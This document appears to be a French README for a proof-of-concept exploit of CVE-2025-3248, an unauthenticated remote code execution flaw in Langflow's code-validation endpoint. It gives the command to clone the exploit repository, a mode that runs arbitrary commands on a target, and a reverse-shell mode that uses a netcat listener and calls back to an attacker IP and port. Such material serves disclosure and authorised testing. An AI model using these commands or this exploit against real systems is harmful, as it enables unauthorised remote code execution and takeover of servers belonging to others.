CVE-2025-3248 - RCE sur l'endpoint de validation de code de Langflow

Un exploit de type preuve de concept démontrant une vulnérabilité d'exécution de code à distance dans l'endpoint de validation de code de Langflow. Cette vulnérabilité affecte les versions de Langflow antérieures à 1.3.0, permettant à des attaquants non authentifiés d'exécuter du code arbitraire via des requêtes HTTP spécialement conçues.

Détails de la vulnérabilité

• ID CVE : CVE-2025-3248
• Versions affectées : < 1.3.0
• Vecteur d'attaque : À distance
• Authentification requise : Non
• Impact : Exécution de code à distance (RCE)
• Endpoint : /api/v1/validate/code

Prérequis

• Python 3.x
• Paquets Python requis :
  • requests
  • colorama

Installation

1. Clonez le dépôt :

git clone https://github.com/preemware/langflow-exploit
cd langflow-exploit

2. Installez les dépendances :

pip install requests colorama

Utilisation

L'exploit prend en charge deux modes de fonctionnement :

1. Mode d'exécution de commandes

Exécute une seule commande sur le système cible :

python3 cve-2025-3248.py cmd <target_url> "<command>"

Exemple :

python3 cve-2025-3248.py cmd http://target:7860 "id"

2. Mode shell inversé

Déclenche un shell inversé interactif :

1. Commencez par lancer un écouteur sur votre machine :

nc -lvnp 4444

2. Ensuite, exécutez l'exploit :

python3 cve-2025-3248.py shell <target_url> <your_ip> <your_port>

Exemple :

python3 cve-2025-3248.py shell http://target:7860 10.0.0.5 4444